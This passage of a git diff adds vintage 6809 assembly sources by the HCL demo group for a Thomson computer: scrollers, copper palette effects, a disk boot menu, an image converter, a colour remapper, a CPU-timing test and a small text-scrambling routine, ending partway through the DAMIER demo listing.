+****************************************
+*      EN MODE BITMAP 16 COULEURS      *
+****************************************
+* This masterpiece was of course coded *
+*         BY DOCTOR LO OF HCL          *
+****** un soir d'ennui profond... ******
+
+FONTE  EQU    -HAUT*LONG*2
+RAMA   EQU    $DF18-HAUT*40
+RAMB   EQU    RAMA-$2000
+HAUT   EQU    48      multiple de 8 !
+LONG   EQU    5       segments par CHR$
+DIR    EQU    $9F     } début buffer
+Z      EQU    0       } à accès direct
+CARTOU EQU    15      page $0000-$3FFF
+
+       ORG    DIR*256+Z
+       FDB    1,TEXTE,FONTE
+
+       ORG    $9800
+G      ORCC   #80
+       LDA    #$E7
+       EXG    A,DP
+       LDB    <$E6
+       STA    RDP+1
+       STB    RDP+2
+       STS    RDP-2
+
+       LDA    #123
+       STA    <$DC
+       LDD    #$360+CARTOU
+       STD    <$E5
+       LDD    #0
+       LDX    #$A000
+       STD    ,X++
+       CMPX   #$E000
+       BNE    *-5
+       LDD    #$C000+DIR
+       STA    <$DD
+       TFR    B,DP
+
+
+SYNCRO TST    $E7E7
+       BPL    *-3
+       TST    $E7E7
+       BMI    *-3
+
+       LDD    #15
+       STA    $E7DB   pour voir le temps
+       STB    $E7DA    CPU qu'il reste.
+       STA    $E7DA
+
+       LDX    #RAMA+160
+       LDU    <Z+4
+       LDA    #HAUT/8
+       STA    <Z
+COPYA  PULU   D
+       STA    -120,X
+       STB    -80,X
+       PULU   D
+       STA    -40,X
+       STB    ,X
+       PULU   D
+       STA    40,X
+       STB    80,X
+       PULU   D
+       STA    120,X
+       STB    160,X
+       LEAX   280,X
+       DEC    <Z
+       BNE    COPYA
+       PULU   D
+       STU    <Z+4
+
+       LDA    #HAUT
+       STA    <Z
+       LDU    #RAMA+1
+SCROLA PULU   D,X,Y,S
+       LEAU   -1,U
+       PSHU   S,Y,X,D
+       LEAU   9,U
+       FDB    $3776,$335F,$3676,$3349
+       FDB    $3776,$335F,$3676,$3349
+       FDB    $3776,$335F,$3676,$3349
+       FDB    $3776,$335F,$3676,$3349
+       DEC    <Z
+       BNE    SCROLA
+       CLR    RAMA+HAUT*40
+
+       LDX    #RAMB+160
+       LDU    <Z+4
+       LDA    #HAUT/8
+       STA    <Z
+COPYB  PULU   D
+       STA    -120,X
+       STB    -80,X
+       PULU   D
+       STA    -40,X
+       STB    ,X
+       PULU   D
+       STA    40,X
+       STB    80,X
+       PULU   D
+       STA    120,X
+       STB    160,X
+       LEAX   280,X
+       DEC    <Z
+       BNE    COPYB
+       STU    <Z+4
+
+       LDA    #HAUT
+       STA    <Z
+       LDU    #RAMB+1
+SCROLB PULU   D,X,Y,S
+       LEAU   -1,U
+       PSHU   S,Y,X,D
+       LEAU   9,U
+       FDB    $3776,$335F,$3676,$3349
+       FDB    $3776,$335F,$3676,$3349
+       FDB    $3776,$335F,$3676,$3349
+       FDB    $3776,$335F,$3676,$3349
+       DEC    <Z
+       BNE    SCROLB
+       CLR    RAMB+HAUT*40
+
+       LDD    #0
+       STA    $E7DB   pour voir le temps
+       STB    $E7DA    CPU qu'il reste.
+       STA    $E7DA
+
+       TST    $E7C8
+       BNE    RDP-4
+       DEC    <Z+1
+       LBNE   SYNCRO
+
+       LDA    #LONG
+       STA    <Z+1
+       LDX    <Z+2    lettre suivante
+       LDA    ,X+
+       BNE    *+7
+       LDA    #38
+       LDX    #TEXTE
+       LDU    #FONTE
+       LDB    #HAUT*LONG
+       ASLA
+       MUL
+       LEAU   D,U
+       STU    <Z+4
+       STX    <Z+2
+       JMP    SYNCRO
+
+       LDS    #0
+RDP    LDD    #0
+       TFR    A,DP
+       STB    $E7E6
+       CLR    $E7DD
+       CLR    $E7DC
+       LDA    #255
+       LDX    #COLORS
+       JSR    $EC00
+       SWI
+
+COLORS FDB    0,15,240,255,3840,3855
+       FDB    4080,4095,1911,826,931
+       FDB    938,2611,2618,3815,123
+TEXTE
+
+       END
diff --git a/code/3rdparty/sources2-hcl/BOOTMENU.ASM b/code/3rdparty/sources2-hcl/BOOTMENU.ASM
new file mode 100644
index 0000000..1a4716c
--- /dev/null
+++ b/code/3rdparty/sources2-hcl/BOOTMENU.ASM
@@ -0,0 +1,97 @@
+****************************************
+*            BOOT / Menu          v2.0 *
+****************************************
+
+       ORG    $6200
+
+       ORCC   #80     stop interruptions
+       LDS    #$60CC  init. pile système
+       CLR    >$60D1  application = none
+       LDX    #$6300   charge le menu
+       LDY    #$0002
+       LDD    #$0100   (secteur 00.02)
+       BSR    DISK
+       BRA    RSTART
+       FCC    "HCL  Boot"
+RSTART LDU    #$6300
+PRINT  LDB    ,U+       et l'affiche
+       JSR    $E803
+       BNE    PRINT
+
+GETKEY JSR    $E806
+       CMPB   #'0     première option
+       BLO    GETKEY
+       LBEQ   NOBOOT  retour au BASIC
+       CMPB   $62FF   dernière option
+       BHI    GETKEY
+       LDX    #$6280-8*'1
+       LDA    #8
+       MUL
+       LEAX   D,X
+       LDY    ,X++    Piste - Secteur
+       LDD    ,X++    Nb secteurs - Face
+       LDU    ,X++    Adresse exécution
+       LDX    ,X      Adresse de début
+       STU    LEAVE+1
+       BSR    DISK    chargement ...
+LEAVE  JSR    >0000     ... et exécution
+       BRA    RSTART
+
+DISK   LDU    #$6048
+       STB    1,U     face          : B
+       LDB    #2
+       STB    ,U
+       STY    3,U     piste.secteur : Y
+       STX    7,U     buffer        : X
+       LDB    4,U     secteur -> B
+CHARGE JSR    $E004
+       CMPB   #16     fin piste ?
+       BNE    NXTSEC
+       INC    3,U
+       CLRB
+NXTSEC INCB
+       STB    4,U
+       INC    7,U
+       DECA
+       BNE    CHARGE
+       RTS
+
+****************************************
+* Valeur-test: "BASIC2.." complémenté: *
+****************************************
+
+       FDB    $BEBF,$ADB7,$BDCE,$0000
+
+****************************************
+* Définition d'un programme (8 octets) *
+*                                      *
+* Piste - Secteur                      *
+* Nombre de secteurs - Face            *
+* Adresse d'exécution                  *
+* Adresse de début                     *
+****************************************
+
+       FDB    $0001,$2301,$93F7,$7200
+       FDB    $0204,$0101,$6442,$6400
+       FDB    $0605,$0701,$9000,$9000
+       FDB    $060C,$0101,$6300,$6300
+       FDB    0,0,0,0,0,0,0,0
+       FDB    0,0,0,0,0,0,0,0
+       FDB    0,0,0,0,0,0,0,0
+       FDB    0,0,0,0,0,0,0,0
+
+       ORG    $62E0
+NOBOOT CLR    >0
+       JSR    $2B42
+       LDS    #$9FFF
+       CLR    >1
+       JSR    $193
+       COM    <$31
+       STS    $6C43
+       CLR    >0
+       JSR    $2D00
+       JMP    $2B74
+
+       FCB    '4      dernière option
+
+       END
diff --git a/code/3rdparty/sources2-hcl/CGA2MAP4.ASM b/code/3rdparty/sources2-hcl/CGA2MAP4.ASM
new file mode 100644
index 0000000..bd65ffa
--- /dev/null
+++ b/code/3rdparty/sources2-hcl/CGA2MAP4.ASM
@@ -0,0 +1,128 @@
+****************************************
+*Conversion d'une image CGA en BITMAP-4*
+****************************************
+********* (c) Doctor Lô 1991 ***********
+
+
+BANK   EQU    15      où est l'image CGA
+DIR    EQU    $9E      accès direct au
+Z      EQU    $FD     buffer "variables"
+
+       ORG    $9E00
+G      ORCC   #80
+       PSHS   DP
+       LDA    #DIR
+       TFR    A,DP
+       LDA    #33     mode BITMAP4 plans
+       STA    $E7DC
+
+       LDU    #$A000  source CGA
+       LDX    #$A000  } destination TO
+       LDY    #$C000  }
+
+
+       LDA    #40     une ligne = 40 o.
+       STA    <Z+2    (sur chaque plan)
+LIGNE  CLR    <Z      }
+       CLR    <Z+1    } pour les calculs
+
+       LDD    #$8080
+       BITA   ,U      premier octet CGA
+       BEQ    *+6      =4 bits forts du
+       ORB    <Z+1     premier octet de
+       STB    <Z+1    chaque bitplan TO.
+       LDD    #$4080
+       BITA   ,U
+       BEQ    *+6
+       ORB    <Z
+       STB    <Z
+       LDD    #$2040
+       BITA   ,U
+       BEQ    *+6
+       ORB    <Z+1
+       STB    <Z+1
+       LDD    #$1040
+       BITA   ,U
+       BEQ    *+6
+       ORB    <Z
+       STB    <Z
+       LDD    #$0820
+       BITA   ,U
+       BEQ    *+6
+       ORB    <Z+1
+       STB    <Z+1
+       LDD    #$0420
+       BITA   ,U
+       BEQ    *+6
+       ORB    <Z
+       STB    <Z
+       LDD    #$0210
+       BITA   ,U
+       BEQ    *+6
+       ORB    <Z+1
+       STB    <Z+1
+       LDD    #$0110
+       BITA   ,U+
+       BEQ    *+6
+       ORB    <Z
+       STB    <Z
+
+       LDD    #$8008
+       BITA   ,U      deuxième octet CGA
+       BEQ    *+6     =4 bits faibles du
+       ORB    <Z+1     premier octet de
+       STB    <Z+1    chaque bitplan TO.
+       LDD    #$4008
+       BITA   ,U
+       BEQ    *+6
+       ORB    <Z
+       STB    <Z
+       LDD    #$2004
+       BITA   ,U
+       BEQ    *+6
+       ORB    <Z+1
+       STB    <Z+1
+       LDD    #$1004
+       BITA   ,U
+       BEQ    *+6
+       ORB    <Z
+       STB    <Z
+       LDD    #$0802
+       BITA   ,U
+       BEQ    *+6
+       ORB    <Z+1
+       STB    <Z+1
+       LDD    #$0402
+       BITA   ,U
+       BEQ    *+6
+       ORB    <Z
+       STB    <Z
+       LDD    #$0201
+       BITA   ,U
+       BEQ    *+6
+       ORB    <Z+1
+       STB    <Z+1
+       LDD    #$0101
+       BITA   ,U+
+       BEQ    *+6
+       ORB    <Z
+       STB    <Z
+
+       CLR    $E7E5   affichage écran de
+       LDD    <Z
+       STA    ,X+     1er octet bitplanB
+       STB    ,Y+     1er octet bitplanA
+       LDA    #BANK
+       STA    $E7E5   retour image CGA.
+       DEC    <Z+2
+       LBNE   LIGNE
+
+       LEAU   $1FB0,U entrelacement CGA:
+       CMPU   #$DF40  une ligne sur deux
+       BLO    *+6       =>  A000
+       LEAU   -$3FB0,U      C000
+       CMPX   #$BF40        A050
+       LBNE   LIGNE-4       C050 ...
+
+       PULS   DP,PC   see you later !
+       END
diff --git a/code/3rdparty/sources2-hcl/COLORb16.ASM b/code/3rdparty/sources2-hcl/COLORb16.ASM
new file mode 100644
index 0000000..1074c69
--- /dev/null
+++ b/code/3rdparty/sources2-hcl/COLORb16.ASM
@@ -0,0 +1,51 @@
+****************************************
+*      REMPLACEMENT DE COULEURS        *
+*       sur une image BitMap16         *
+****************************************
+* Voir la matrice des correspondances en
+* fin de programme. By Doctor Lô 19-5-91
+
+
+       ORG    $9F00
+
+G      ORCC   #80
+       LDU    #CORRES   Table conversion
+       LDA    $E7C3
+       ORA    #1
+       STA    $E7C3
+       BSR    TRAITE-3
+       DEC    $E7C3
+
+       LDX    #$4000
+TRAITE LDA    ,X      première couleur
+       LSRA            forts->faibles
+       LSRA
+       LSRA
+       LSRA             origine...
+       LDA    A,U          ...nouvelle
+       LSLA
+       LSLA
+       LSLA
+       LSLA            faibles->forts
+       LDB    ,X           origine
+       ANDB   #15      4 bits forts à 0
+       STB    ,X
+       ORA    ,X       et remplacés par
+       STA    ,X      la nouvelle valeur
+       ANDA   #15
+       LDB    ,X           origine
+       ANDB   #240    4 bits faibles à 0
+       ORB    A,U      et remplacés par
+       STB    ,X+     la nouvelle valeur
+       CMPX   #$5F40
+       BNE    TRAITE
+       RTS
+
+* Table de correspondance des couleurs:
+*   indice de la case = couleur origine
+*  contenu de la case = nouvelle couleur
+
+       FCC    / HCL /
+CORRES FCB    0,1,2,3,4,5,6,7,8,9,10,11
+       FCB    12,13,14,15
+       END
diff --git a/code/3rdparty/sources2-hcl/COPPER.ASM b/code/3rdparty/sources2-hcl/COPPER.ASM
new file mode 100644
index 0000000..ff871c8
--- /dev/null
+++ b/code/3rdparty/sources2-hcl/COPPER.ASM
@@ -0,0 +1,130 @@
+ **************************************
+**         -  C O P P E R  -          **
+*  permet de changer la palette de la  *
+* couleur 0 à chaque ligne. On obtient *
+* ainsi des images (fixes) en plus de  *
+*        2 0 0   T E I N T E S         *
+* Laurent HIRIART ,  Les ENVERSGOUTTES *
+**       67420 COLROY-LA-ROCHE        **
+ **************************************
+
+NL     EQU    200     nombre de lignes
+VIT    EQU    0       vitesse défilement
+
+* Palettes à partir de $DF5E et + bas...
+* 16 bits chacune: (0 bleu vert rouge)
+
+
+       ORG    $DF60
+
+G      ORCC   #80     Stop interruptions
+       PSHS   DP       On récupèrera DP
+       LDB    #$E7      à la sortie !
+       TFR    B,DP    Pour accès rapides
+
+* SYNCRONISATION - REGLAGE COLONNE *****
+* b5 de $E7E7 : situation en ligne INILN
+
+       LDX    #*+4
+       LDA    #32
+
+       BITA   <$E7       sort quand
+       BEQ    *-2     spot dans fenêtre
+
+       BITA   <$E7       sort quand
+       BNE    *-2     spot entre border
+
+       STA    ,X+     5
+       MUL            11  boucle de 63
+       MUL            11 cycles dont on
+       MUL            11 sort quand le
+       MUL            11 spot est sur la
+       LDA    ,-X     5     dernière
+       BITA   <$E7    4   C O L O N N E
+       BEQ    *-10    3   de la fenêtre
+
+* SYNCRONISATION - REGLAGE LIGNE *******
+* b7 de $E7E7 : situation en trame INITN
+
+       MUL            11  boucle de 64
+       MUL            11 cycles dont on
+       MUL            11 sort quand le
+       MUL            11  spot est sur
+       MUL            11    une ligne
+       TST    <$E7    6  DANS le border
+       BPL    *-7     3
+
+       MUL            11  boucle de 64
+       MUL            11 cycles dont on
+       MUL            11 sort quand le
+       MUL            11 spot est sur la
+       MUL            11    dernière
+       TST    <$E7    6     L I G N E
+       BMI    *-7     3   de la fenêtre
+
+       LDX    #(211-NL/2)*8-3
+       LEAX   -1,X     Pour centrer les
+       BNE    *-2      lignes de copper.
+
+* Pour pousser les bandes noires dans le
+* border afin qu'on ne puisse les voir
+* ni à gauche ni à droite.
+* Varie selon les moniteurs : régler le
+* nombre de cycles machine ...
+
+       TST    A,X     7    Temporisation
+
+* Changement de la palette d'une couleur
+* tous les 64 cycles (i.e. chaque ligne)
+
+       LDX    #G      Déb liste palettes
+GOON   LDY    #NL     Nombre de lignes
+
+COPPER LDD    ,--X     8  Chargement et
+       CLR    <$DB     6  affectation de
+       STB    <$DA     4  la nouvelle
+       STA    <$DA     4  palette->coul0
+       MUL             11  Temporisation
+       MUL             11  Temporisation
+       NOP             2   Temporisation
+       CMPX   #G-2*NL  4  Fin dans liste
+       BEQ    *+4      3  des couleurs ?
+       BRA    *+5       3 non:rien, oui:
+       LDX    #G       3  repart début.
+       LEAY   -1,Y     5  200ème ligne ?
+       BNE    COPPER   3  non: on boucle
+
+       LDY    #(311-NL)*8-1  4 Cf + bas.
+       CLRA           2 A la fin des NL
+       NOP            2 lignes de copper
+       CLR    <$DB    6  on remet vite
+       STA    <$DA    4 la couleur 0 en
+       STA    <$DA    4 noir (palette=0)
+       LEAY   -1,Y    5   On patiente
+       BNE    *-2     3 dans le border.
+
+*      LEAX   2*VIT,X 5 Donne la vitesse
+       FDB    $3088   Sinon l'assembleur
+       FCB    2*VIT   risque d'optimiser
+       CMPX   #G      4 Pointeur couleur
+       BHI    DECALB  3 dépasse en haut?
+       LDA    A,X      5  non:
+       BRA    *+6      3  temporisation
+DECALB LEAX   -2*NL,X 8 oui:décale bas.
+       CMPX   #G-2*NL 4 Pointeur couleur
+       BLS    DECALH  3 dépasse en bas ?
+       LDA    A,X      5  non:
+       BRA    *+6      3  temporisation
+DECALH LEAX   2*NL,X  8 oui:décale haut.
+       NOP            2   Temporisation
+       TST    <$C8    6 clavier frappé ?
+       BEQ    GOON    3  non -> boucle
+
+       JSR    $E806   Recconnaît le code
+       STB    TOUCHE  ASCII de la touche
+       PULS   DP      Et on sort,heureux
+       RTS
+       FCC    /(c)HCL91/
+TOUCHE  *             La touche frappée
+
+       END
diff --git a/code/3rdparty/sources2-hcl/COULEURS.ASM b/code/3rdparty/sources2-hcl/COULEURS.ASM
new file mode 100644
index 0000000..a72b9ae
--- /dev/null
+++ b/code/3rdparty/sources2-hcl/COULEURS.ASM
@@ -0,0 +1,146 @@
+****************************************
+*                                      *
+*  " Pour Quelques Couleurs De Plus "  *
+*                                      *
+****************************************
+* Codé le 5-7-90 (en 8 mn!) par doc Lô *
+
+       ORG    $A000
+
+
+G      ORCC   #80
+       LDA    #$E7
+       EXG    A,DP
+       STA    RDP+1
+       LDD    #32
+       STA    <$DB
+       STA    <$DA
+       DECB
+       BNE    *-3
+       LDA    #$21
+       STA    <$DC
+       CLR    <$DD
+       LDA    <$C3
+       ORA    #1
+       STA    <$C3
+       LDX    #$4000
+       CLR    ,X+
+       CMPX   #$5F40
+       BNE    *-5
+       DEC    <$C3
+       CLR    ,-X
+       CMPX   #$4000
+       BNE    *-5
+       LDX    #MAP
+       STX    $616B
+       LDD    #$FF0E
+       STA    $6249
+       STB    $616D
+       LDD    #$60B
+       STD    $61D6
+       CLR    $6288
+       LDB    #69
+       JSR    $EC0C
+       LDA    #255
+       LDX    #PRINT-8
+       JSR    $EC00
+       LDA    <$CD
+       BITA   #64
+       BNE    *-4
+       LDD    #32
+       STA    <$DB
+       STA    <$DA
+       DECB
+       BNE    *-3
+       LDU    #PRINT
+       LDB    ,U+
+       JSR    $E803
+       BNE    *-5
+
+       LDA    #32
+       BITA   <$E7
+       BEQ    *-2
+       BITA   <$E7
+       BNE    *-2
+       PSHS   A
+       MUL
+       MUL
+       MUL
+       MUL
+       PULS   A
+       BITA   <$E7
+       BEQ    *-10
+       MUL
+       MUL
+       MUL
+       MUL
+       MUL
+       TST    <$E7
+       BPL    *-7
+       MUL
+       MUL
+       MUL
+       MUL
+       MUL
+       TST    <$E7
+       BMI    *-7
+       LDX    #679
+       LEAX   -1,X
+       BNE    *-2
+       LDD    #0
+
+HDEG   STA    <$DB
+       STB    <$DA
+       STA    <$DA
+       STA    <$DB
+       STB    <$DA
+       TST    ,X++
+       TST    ,--X
+       LDA    #15
+       STA    <$DA
+       CLRA
+       TST    [D,X]
+       INCB
+       BNE    HDEG
+
+       STB    <$DB
+       STB    <$DA
+       STB    <$DA
+       STB    <$DA
+       STB    <$DA
+
+       LDX    #441
+       LDA    <$CC
+       BITA   #1
+       BNE    *+8
+       LDX    #449
+       NOP
+       BRA    JOIN
+       BITA   #2
+       BEQ    *+4
+       BRA    JOIN
+       LDX    #433
+JOIN   LDA    1,U
+       CLRA
+       LEAX   -1,X
+       BNE    *-2
+       TST    <$C8
+       BEQ    HDEG
+RDP    LDA    #0
+       TFR    A,DP
+       LDB    ,U+
+       JSR    $E803
+       BNE    *-5
+       LDA    #255
+       LEAX   ,U
+       JSR    $EC00
+       RTS
+
+       FDB    0,$FF,$22,$66
+PRINT  FDB    $1B5B,$0C0A,$4843,$4C00
+       FCB    $1B,$5A,0
+       FDB    0,15,240,255,3840,3855
+       FDB    4080,4095,1911,826,931,938
+       FDB    2611,2618,3815,123
+MAP
+       END
diff --git a/code/3rdparty/sources2-hcl/CPUTEST.ASM b/code/3rdparty/sources2-hcl/CPUTEST.ASM
new file mode 100644
index 0000000..0352833
--- /dev/null
+++ b/code/3rdparty/sources2-hcl/CPUTEST.ASM
@@ -0,0 +1,62 @@
+****************************************
+*Mesure du temps CPU utilisé par ROUTST*
+****************************************
+
+ROUTST EQU    BIDON   routine à tester
+
+       ORG    $A000
+G      ORCC   #80
+       PSHS   DP
+       LDD    #$3E7
+       TFR    B,DP
+       STA    <$DD    border en jaune
+
+SYNCRO LDA    #32
+       BITA   <$E7
+       BEQ    *-2
+       BITA   <$E7
+       BNE    *-2
+       PSHS   A
+       MUL
+       MUL
+       MUL
+       MUL
+       PULS   A
+       BITA   <$E7
+       BEQ    *-10
+       MUL
+       MUL
+       MUL
+       MUL
+       MUL
+       TST    <$E7
+       BPL    *-7
+       MUL
+       MUL
+       MUL
+       MUL
+       MUL
+       TST    <$E7
+       BMI    *-7
+       LDX    #$3B5
+       LEAX   -1,X
+       BNE    *-2
+       LDX    #0      initialisations
+       LDY    #0      éventuelles pour
+       LDU    #0      la routine appelée
+       LDD    #15
+
+       STA    <$DB
+       STB    <$DA    trace ON
+       STA    <$DB
+       JSR    ROUTST
+       CLRA
+       STA    <$DA    trace OFF
+       LDB    <$C8
+       BEQ    SYNCRO
+       STA    <$DD    border en noir
+       PULS   DP
+       SWI
+BIDON  RTS
+
+       END
diff --git a/code/3rdparty/sources2-hcl/CRYPT.ASM b/code/3rdparty/sources2-hcl/CRYPT.ASM
new file mode 100644
index 0000000..a1236ca
--- /dev/null
+++ b/code/3rdparty/sources2-hcl/CRYPT.ASM
@@ -0,0 +1,47 @@
+LEN    EQU    $D4
+
+
+       ORG    $9000+LEN
+G      ORCC   #80
+       LDU    #TXTLST
+PASS0  LDD    #$A300+LEN
+       LDX    ,U++
+       BEQ    ENDTXT
+       LEAX   D,X
+       STX    CMPT+1
+       LDX    ,U++
+       LEAX   D,X
+       LDA    ,X
+       ADDA   #$A5
+       STA    ,X+
+CMPT   CMPX   #0
+       BNE    *-9
+       BRA    PASS0
+ENDTXT
+
+       LDX    #$A300+LEN
+PASS1  LDD    ,X
+       EXG    A,B
+       EORA   #$22
+       EORB   #$53
+       STD    ,X++
+       CMPX   #$AA00
+       BLO    PASS1
+
+       LDU    #$A300+LEN
+       LDX    #$9000
+PASS2  LDB    ,X+
+       SUBB   ,U
+       STB    ,U+
+       CMPX   #$9000+LEN
+       BNE    PASS2
+       CMPU   #$AA00
+       BLO    PASS2-3
+
+       RTS
+
+TXTLST FDB    $065,$006,$158,$0EE
+       FDB    $2A7,$210,$4F7,$46F
+       FDB    0
+
+       END
diff --git a/code/3rdparty/sources2-hcl/DAMIER.ASM b/code/3rdparty/sources2-hcl/DAMIER.ASM
new file mode 100644
index 0000000..22aa63c
--- /dev/null
+++ b/code/3rdparty/sources2-hcl/DAMIER.ASM
@@ -0,0 +1,508 @@
+****************************************
+*                                      *
+*    DAMIER : HCL LEADS THOU FURTHER   *
+*                                      *
+****************************************
+
+
+SCRCOL EQU    $9400
+TEXTE  EQU    $A580
+DERPAG EQU    TEXTE+136*16
+CHUTES EQU    $AE00
+DEGRA  EQU    $B000
+ETAPS  EQU    $B082
+BUF    EQU    $B0BA
+FONTES EQU    $B100
+CHRSET EQU    $B900
+SCRTEX EQU    $BCC0
+SCRECR EQU    $41A4
+DAMECR EQU    $4B18
+BASCUB EQU    $5684
+
+       ORG    BUF+3
+       FDB    TEXTE+1
+       FCB    1
+       FDB    $B84,$B86,$B88,$B8A
+       FDB    $B8C,$B8E,$B90,$B92
+       FDB    $B94,$B96,$B98,$B9A
+       FDB    $B9C,$B9E,$BA0,$BA2
+       FDB    0,0,0,0,0,0
+       FDB    SCRTEX
+
+       ORG    $C760
+G      ORCC   #80
+       LDA    #$E7
+       EXG    A,DP
+       STA    BUF+2
+       LDD    #32
+       STA    <$DB
+       STA    <$DA
+       DECB
+       BNE    *-3
+       LDA    <$E6
+       STA    FIN+3
+       STS    FIN+8
+       ANDA   #191
+       STA    <$E6
+       LDD    #$2104
+       STD    <$DC
+       LDA    <$C3
+       ORA    #1
+       STA    <$C3
+       LDX    #$4000
+       CLR    ,X+
+       CMPX   #$5F40
+       BNE    *-5
+       DEC    <$C3
+       CLR    ,-X
+       CMPX   #$4000
+       BNE    *-5
+       LDX    #DAMECR
+       LDU    #DAMPIC
+       LDD    ,U++
+       STD    ,X++
+       CMPX   #$5F40
+       BNE    *-7
+       LDU    #SCRDEG
+       LDX    #SCRCOL
+       LDA    #6
+       STA    BUF
+       LEAY   24,X
+       LDD    ,U++
+       BEQ    CYCLE-8
+REPER  STD    ,X++
+       STD    ,--Y
+       ADDD   -2,U
+       DEC    BUF
+       BNE    REPER
+       LEAX   12,X
+       BRA    REPER-12
+       LDA    #255
+       LDX    #COLORS
+       JSR    $EC00
+
+CYCLE  LDD    #BANDE
+       STD    BANDE-2
+       LDY    #ETAPS
+       LDA    #4
+       STA    BUF+1
+       JSR    SYNCRO
+       LEAY   14,Y
+       DEC    BUF+1
+       BNE    *-8
+       LDD    #BAND2
+       STD    BANDE-2
+       LDY    #ETAPS
+       LDA    #4
+       STA    BUF+1
+       JSR    SYNCRO
+       LEAY   14,Y
+       DEC    BUF+1
+       BNE    *-8
+       TST    <$C8
+       BEQ    CYCLE
+
+FIN    CLR    <$DC
+       LDA    #0
+       STA    <$E6
+       LDS    #0
+       CLR    <$DD
+       LDA    #255
+       LDX    #COLORS+10
+       JSR    $EC00
+       LDA    BUF+2
+       TFR    A,DP
+       RTS
+
+SYNCRO STY    BANDE-5
+       LDA    #32
+       BITA   <$E7
+       BEQ    *-2
+       BITA   <$E7
+       BNE    *-2
+       PSHS   A
+       MUL
+       MUL
+       MUL
+       MUL
+       PULS   A
+       BITA   <$E7
+       BEQ    *-10
+       MUL
+       MUL
+       MUL
+       MUL
+       MUL
+       TST    <$E7
+       BMI    *-7
+       MUL
+       MUL
+       MUL
+       MUL
+       MUL
+       TST    <$E7
+       BPL    *-7
+
+       STS    RETURN-2
+       LDX    #SCRECR
+SCROL1 ASL    BUF+38
+       ROL    19,X
+       ROL    18,X
+       ROL    17,X
+       ROL    16,X
+       ROL    15,X
+       ROL    14,X
+       ROL    13,X
+       ROL    12,X
+       ROL    11,X
+       ROL    10,X
+       ROL    9,X
+       ROL    8,X
+       ROL    7,X
+       ROL    6,X
+       ROL    5,X
+       ROL    4,X
+       ROL    3,X
+       ROL    2,X
+       ROL    1,X
+       ROL    ,X
+       ROL    -1,X
+       ROL    -2,X
+       ROL    -3,X
+       ROL    -4,X
+       ROL    -5,X
+       ROL    -6,X
+       ROL    -7,X
+       ROL    -8,X
+       ROL    -9,X
+       ROL    -10,X
+       ROL    -11,X
+       ROL    -12,X
+       ROL    -13,X
+       ROL    -14,X
+       ROL    -15,X
+       ROL    -16,X
+       ROL    -17,X
+       ROL    -18,X
+       ROL    -19,X
+       ROL    -20,X
+       ASL    BUF+49
+       LDX    #SCRECR+440
+       ROL    19,X
+       ROL    18,X
+       ROL    17,X
+       ROL    16,X
+       ROL    15,X
+       ROL    14,X
+       ROL    13,X
+       ROL    12,X
+       ROL    11,X
+       ROL    10,X
+       ROL    9,X
+       ROL    8,X
+       ROL    7,X
+       ROL    6,X
+       ROL    5,X
+       ROL    4,X
+       ROL    3,X
+       ROL    2,X
+       ROL    1,X
+       ROL    ,X
+       ROL    -1,X
+       ROL    -2,X
+       ROL    -3,X
+       ROL    -4,X
+       ROL    -5,X
+       ROL    -6,X
+       ROL    -7,X
+       ROL    -8,X
+       ROL    -9,X
+       ROL    -10,X
+       ROL    -11,X
+       ROL    -12,X
+       ROL    -13,X
+       ROL    -14,X
+       ROL    -15,X
+       ROL    -16,X
+       ROL    -17,X
+       ROL    -18,X
+       ROL    -19,X
+       ROL    -20,X
+       LDU    #BUF+39
+       LDX    #SCRECR+40
+
+       TST    1,S
+       MUL
+       LDA    #11
+       STA    BUF
+       LDS    #SCRCOL+98
+COPPER PULS   D
+       STD    *+8
+       LDA    #2
+       STA    <$DB
+       LDD    #0
+       STB    <$DA
+       STA    <$DA
+       STY    RETURN+2
+       MUL
+       TST    ,U
+       DEC    BUF
+       BNE    COPPER
+
+       LDA    #10
+SCROL2 ASL    ,U+
+       ROL    19,X
+       ROL    18,X
+       ROL    17,X
+       ROL    16,X
+       ROL    15,X
+       ROL    14,X
+       ROL    13,X
+       ROL    12,X
+       ROL    11,X
+       ROL    10,X
+       ROL    9,X
+       ROL    8,X
+       ROL    7,X
+       ROL    6,X
+       ROL    5,X
+       ROL    4,X
+       ROL    3,X
+       ROL    2,X
+       ROL    1,X
+       ROL    ,X
+       ROL    -1,X
+       ROL    -2,X
+       ROL    -3,X
+       ROL    -4,X
+       ROL    -5,X
+       ROL    -6,X
+       ROL    -7,X
+       ROL    -8,X
+       ROL    -9,X
+       ROL    -10,X
+       ROL    -11,X
+       ROL    -12,X
+       ROL    -13,X
+       ROL    -14,X
+       ROL    -15,X
+       ROL    -16,X
+       ROL    -17,X
+       ROL    -18,X
+       ROL    -19,X
+       ROL    -20,X
+       LEAX   40,X
+       DECA
+       BNE    SCROL2
+       LEAU   1,U
+       DEC    BUF+5
+       BEQ    NEXT
+       LDA    #19
+       DECA
+       BNE    *-1
+       BRA    FINSCR
+
+NEXT   LDX    ,U
+       LDB    ,X+
+       BNE    *+7
+       LDX    #SCRTEX
+       BRA    *+4
+       TST    ,U
+       STX    ,U
+       LDX    #CHRSET
+       LDA    #12
+       MUL
+       LEAS   D,X
+       PULS   D,X,Y
+       PSHU   Y,X,D
+       PULS   D,X,Y
+       PSHU   Y,X,D
+       LDB    #8
+       STB    BUF+5
+
+FINSCR MUL
+       MUL
+       TST    1,U
+       INC    <$C3
+
+       LDX    #DEGRA
+       LDU    #ETAPS
+       JMP    BANDE
+BANDE  LDA    ,U+
+       STA    BUF
+LIGNE  LDB    ,X+
+       CLRA
+       STA    <$DB
+       STB    <$DA
+       STB    <$DA
+       STA    <$DA
+       STB    <$DA
+       ADDA   [A,X]
+       DEC    BUF
+       BEQ    *+7
+       MUL
+       NOP
+       NOP
+       BRA    LIGNE
+       CMPX   #DEGRA+130
+       BHS    FDEG
+BAND2  LDA    ,U+
+       STA    BUF
+LIGN2  LDB    ,X+
+       CLRA
+       STA    <$DB
+       STA    <$DA
+       STB    <$DA
+       STB    <$DA
+       STB    <$DA
+       ADDA   [A,X]
+       DEC    BUF
+       BEQ    *+7
+       MUL
+       NOP
+       NOP
+       BRA    LIGN2
+       CMPX   #DEGRA+130
+       BLO    BANDE
+FDEG   LDX    COPPER-2
+       LDD    -2,X
+       STD    *+11
+       CLRA
+       STA    <$DB
+       STA    <$DA
+       STA    <$DA
+       LDD    #0
+       STB    <$DA
+       STA    <$DA
+
+       LDY    BUF+3
+       LDS    #BUF+6
+       LDB    #16
+       STB    BUF
+LETTER LDX    ,S
+       LDD    #0
+       STD    -120,X
+       STD    -80,X
+       STD    -40,X
+       STD    ,X
+       CMPX   #BASCUB
